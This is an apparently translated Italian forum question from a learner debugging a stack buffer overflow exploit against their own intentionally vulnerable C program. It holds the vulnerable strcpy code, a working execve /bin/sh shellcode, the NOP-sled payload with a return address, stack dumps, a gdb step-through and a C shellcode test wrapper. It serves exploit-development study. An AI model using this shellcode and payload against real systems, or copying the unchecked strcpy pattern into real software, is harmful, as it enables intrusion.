Sono riuscito a far sì che shellcode venisse indicato da eip creando il mio eseguibile senza misure di sicurezza.
Tuttavia, non sembra essere eseguito.
Ecco la fonte C del mio programma vulnerabile:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_password(char *password){
int retval = 0;
char possible_password_1[16] = "possiblepasswrd";
char possible_password_2[16] = "drwssapelbissop";
char user_input_password[16];
strcpy(user_input_password, password);
if(!strcmp(possible_password_1, user_input_password))
retval = 1;
if(!strcmp(possible_password_2, user_input_password))
retval = 2;
return retval;
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Not enough arguments\n");
return -1;
}
int correct = check_password(argv[1]);
if(correct)
printf("CORRECT PASSWORD\n");
else
printf("INCORRECT PASSWORD\n");
return 0;
}
Ecco lo shellcode che sto usando:
00000000: 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 1.Ph//shh/bin..P
00000010: 53 89 e1 b0 0b cd 80 S......
Ecco il buffer che sto dando al mio programma:
00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73 .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 hh/bin..PS......
00000030: 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf ................
00000040: 0c f3 ff bf ....
Ecco una parte della pila prima della chiamata strcpy (gli ultimi 4 byte sono l'indirizzo di ritorno):
0xbffff310: 0xb7fff000 0xb7fff918 0xbffff330 0x73777264
0xbffff320: 0x65706173 0x7369626c 0x00706f73 0x73736f70
0xbffff330: 0x656c6269 0x73736170 0x00647277 0x00000000
0xbffff340: 0x00008000 0xb7fb1000 0xbffff378 0x08048523
Ecco la stessa parte della pila dopo la chiamata strcpy:
0xbffff310: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff320: 0x90909090 0x50c03190 0x732f2f68 0x622f6868
0xbffff330: 0xe3896e69 0xe1895350 0x80cd0bb0 0xbffff30c
0xbffff340: 0xbffff30c 0xbffff30c 0xbffff30c 0xbffff30c
Ecco lo shellcode in memoria (puntato nell'indirizzo di ritorno sovrascritto):
0xbffff30c: nop
0xbffff30d: nop
0xbffff30e: nop
---snip---
0xbffff325: xor eax,eax
0xbffff327: push eax
0xbffff328: push 0x68732f2f
0xbffff32d: push 0x6e69622f
0xbffff332: mov ebx,esp
0xbffff334: push eax
0xbffff335: push ebx
0xbffff336: mov ecx,esp
0xbffff338: mov al,0xb
0xbffff33a: int 0x80
Ho impostato un breakpoint a 0xbffff325
e viene colpito:
(gdb) b *0xbffff325
Breakpoint 5 at 0xbffff325
(gdb) c
Continuing.
Breakpoint 5, 0xbffff325 in ?? ()
(gdb) x/10i $eip
=> 0xbffff325: xor eax,eax
0xbffff327: push eax
0xbffff328: push 0x68732f2f
0xbffff32d: push 0x6e69622f
0xbffff332: mov ebx,esp
0xbffff334: push eax
0xbffff335: push ebx
0xbffff336: mov ecx,esp
0xbffff338: mov al,0xb
0xbffff33a: int 0x80
(gdb) i r eip
eip 0xbffff325 0xbffff325
Quindi passo attraverso ogni istruzione e assicurati che venga eseguita correttamente:
(gdb) x/i $eip
=> 0xbffff325: xor eax,eax
(gdb) si
0xbffff327 in ?? ()
(gdb) i r eax
eax 0x0 0
(gdb) x/i $eip
=> 0xbffff327: push eax
(gdb) si
0xbffff328 in ?? ()
(gdb) x/wx $esp
0xbffff34c: 0x00000000
(gdb) x/i $eip
=> 0xbffff328: push 0x68732f2f
(gdb) si
0xbffff32d in ?? ()
(gdb) x/wx $esp
0xbffff348: 0x68732f2f
(gdb) x/i $eip
=> 0xbffff32d: push 0x6e69622f
(gdb) si
0xbffff332 in ?? ()
(gdb) x/wx $esp
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff332: mov ebx,esp
(gdb) x/wx $ebx
0x0: Cannot access memory at address 0x0
(gdb) si
0xbffff334 in ?? ()
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff334: push eax
(gdb) x/wx $eax
0x0: Cannot access memory at address 0x0
(gdb) si
0xbffff335 in ?? ()
(gdb) x/wx $esp
0xbffff340: 0x00000000
(gdb) x/i $eip
=> 0xbffff335: push ebx
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) si
0xbffff336 in ?? ()
(gdb) x/i $eip
=> 0xbffff336: mov ecx,esp
(gdb) x/wx $esp
0xbffff33c: 0xbffff344
(gdb) si
0xbffff338 in ?? ()
(gdb) x/wx $ecx
0xbffff33c: 0xbffff344
(gdb) x/i $eip
=> 0xbffff338: mov al,0xb
(gdb) si
0xbffff33a in ?? ()
(gdb) i r al
al 0xb 11
(gdb) x/i $eip
=> 0xbffff33a: int 0x80
(gdb) si
0xbffff33c in ?? ()
Tuttavia, dopo aver effettuato la chiamata di sistema, non c'è shell. Il programma continua l'esecuzione, cercando di leggere gli indirizzi come istruzioni e ottengo un errore di istruzione non valido: Program received signal SIGILL, Illegal instruction. 0xbffff33d in ?? ()
. Quale potrebbe essere la causa di questo?
Grazie per l'aiuto.
EDIT: lo shellcode funziona con il wrapper C:
yapoz@potato:~/Documents/Pentesting/my$ cat shellcode_demo.c
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
((void (*)())shellcode)();
}
yapoz@potato:~/Documents/Pentesting/my$ gcc shellcode_demo.c -zexecstack -fno-stack-protector -o shellcode_demo
yapoz@potato:~/Documents/Pentesting/my$ ./shellcode_demo
$ echo $0
/bin//sh
$ exit
yapoz@potato:~/Documents/Pentesting/my$